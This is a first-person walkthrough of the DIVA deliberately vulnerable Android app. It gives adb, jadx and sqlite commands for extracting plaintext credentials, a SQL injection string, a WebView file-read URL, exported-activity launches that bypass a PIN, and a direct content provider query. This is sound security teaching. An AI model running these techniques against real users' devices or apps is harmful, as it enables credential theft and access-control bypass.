Android Security Lab: DIVA Walkthrough
π± Application Overview
- Name: DIVA (Damn Insecure and Vulnerable App)
- Platform: Android
- Category: Mobile Application Security
- Focus Areas: Insecure Logging, Hardcoded Secrets, Insecure Storage, Input Validation, Access Control
DIVA is a deliberately vulnerable Android application designed to demonstrate common mobile security flaws based on OWASP Mobile Top 10.
In this walkthrough, I exploited multiple vulnerabilities including:
- Insecure logging
- Hardcoded secrets
- Insecure local storage (SharedPreferences, SQLite, Files, SDCard)
- SQL Injection
- Content Provider abuse
- Activity exploitation via ADB
- Native library secret extraction
- Input validation flaws
π Challenge 1 β Insecure Logging
0x01: Capturing Application Logs
First, I obtained the process ID (PID) of the running application: 
1
2
adb shell
ps | grep diva
After identifying the PID, I captured logs for that specific process:
1
adb logcat --pid=<PID>
When entering sensitive input inside the app, the data appeared directly in logcat.
β οΈ Impact: Sensitive information should never be logged in production builds. Attackers with physical or debugging access can retrieve secrets.
π Challenge 2 β Hardcoding Issue (Part 1)
Using JADX to decompile the APK:
1
jadx diva.apk
I searched for keywords such as:
secret
key
pass
password
Inside the HardcodeActivity, I found a vendor key hardcoded directly in the source code.
β οΈ Impact: Hardcoded secrets can be extracted easily via reverse engineering.
πΎ Challenge 3 β Insecure Data Storage (Part 1)
Credentials were stored in plaintext XML.
After saving credentials inside the app:
1
2
adb shell
cd /data/data/jakhar.aseem.diva/
Navigating to:
1
2
cd shared_prefs
cat jakhar.aseem.diva_preferences.xml
Or u can use MTmanger for easy way
β οΈ Impact: SharedPreferences should be encrypted when storing sensitive data.
π Challenge 4 β Insecure Data Storage (Part 2)
By analyzing InsecureDataStorage2Activity in JADX, I discovered credentials were stored in a SQLite
database named:
1
ids2
Extracting data:
1
2
3
4
5
adb shell
cd /data/data/jakhar.aseem.diva/databases
sqlite3 ids2
.tables
SELECT * FROM <table_name>;
Plaintext credentials were retrieved.
β οΈ Impact: Sensitive data must never be stored unencrypted inside SQLite databases.
π Challenge 5 β Insecure Data Storage (Part 3)
same as challange 4 but Code analysis revealed a temporary file created: uinfoXXXXtmp
Accessed via:
1
2
cd /data/data/jakhar.aseem.diva/
cat uinfoXXXXtmp
Credentials were stored inside the file.
β οΈ Impact: Temporary files may leak secrets if not securely handled.
π Challenge 6 β Insecure Data Storage (Part 4)
same as challange 4 but Decompiled code showed credentials being written to:
1
/sdcard/.uinfo.txt
Listing hidden files:
1
2
cd /sdcard
ls -lah
The hidden file .uinfo.txt contained sensitive information.
β οΈ Impact: External storage is globally readable on many Android versions.
π Challenge 7 β Input Validation Issue (Part 1)
The search functionality did not sanitize input.
Testing SQL injection:
1
' OR '1'='1
The app returned all user records.
β οΈ Impact: Improper input validation β SQL Injection.
π Challenge 8 β Input Validation Issue (Part 2)
The app loaded user-supplied URLs.
By using:
1
file:///sdcard/DIVA-sens-info.txt
I was able to read local files from the device.
β οΈ Impact: WebView improperly configured β Local File Inclusion (LFI).
πͺ Challenge 9 β Access Control Issue (Part 1)
Clicking βView API Credentialsβ triggered:
jakhar.aseem.diva/.APICredsActivity
I launched it directly:
1
adb shell am start -n jakhar.aseem.diva/.APICredsActivity
Credentials were revealed without using the UI button.
β οΈ Impact: Exported activities without proper permission checks.
π Challenge 10 β Access Control Issue (Part 2)
Decompiled APICreds2Activity revealed a boolean check:
Launching with extra parameter:
1
2
3
4
adb shell am start \
-n jakhar.aseem.diva/.APICreds2Activity \
-a jakhar.aseem.diva.action.VIEW_CREDS2 \
--ez check_pin false
Bypassing the PIN validation allowed retrieval of API credentials.
β οΈ Impact: Improper intent validation allows authentication bypass.
π Challenge 11 β Access Control Issue (Part 3)
π― Objective
Retrieve private notes without knowing the 4-digit PIN by abusing an exposed Content Provider.
π± Application Behavior
This challenge allows the user to:
- Create a 4-digit PIN
- Protect private notes with that PIN
- Enter the correct PIN to view notes
When the correct PIN is entered, the app displays the hidden notes.
π 0x01: Source Code Analysis
PIN Creation Logic
1
2
3
4
5
6
7
8
9
10
11
spedit.putString(getString(R.string.pkey), pin);
spedit.commit();
The PIN is stored inside SharedPreferences.
PIN Verification Logic
if (userpin.equals(pin)) {
Cursor cr = getContentResolver().query(
NotesProvider.CONTENT_URI,
new String[]{"_id", "title", "note"},
null, null, null
);
Hereβs what happens:
The app compares userpin with stored pin
If correct β it queries the Content Provider
Then displays the notes in a ListView
So the real data source is not the Activity β it is the Content Provider.
π§ 0x02: Identifying the Content Provider Clicking NotesProvider.CONTENT_URI leads to:
1
2
static final Uri CONTENT_URI =
Uri.parse("content://jakhar.aseem.diva.provider.notesprovider/notes");
The URI is hardcoded inside the source code.
This means:
If the provider is exported and not permission-protected, we can call it directly.
π¨ 0x03: Exploitation β Direct Content Provider Query Instead of entering the PIN, we directly query the provider using ADB:
1
2
adb shell content query \
--uri content://jakhar.aseem.diva.provider.notesprovider/notes
The notes are returned instantly β without entering the PIN.
Bingo β
π§ Final Thoughts
DIVA perfectly demonstrates common mobile security failures:
Logging sensitive information
Hardcoded secrets (Java & Native)
Plaintext credential storage
SQL Injection
WebView file access abuse
Exported activity exploitation
Content Provider misconfiguration
Input validation failures
















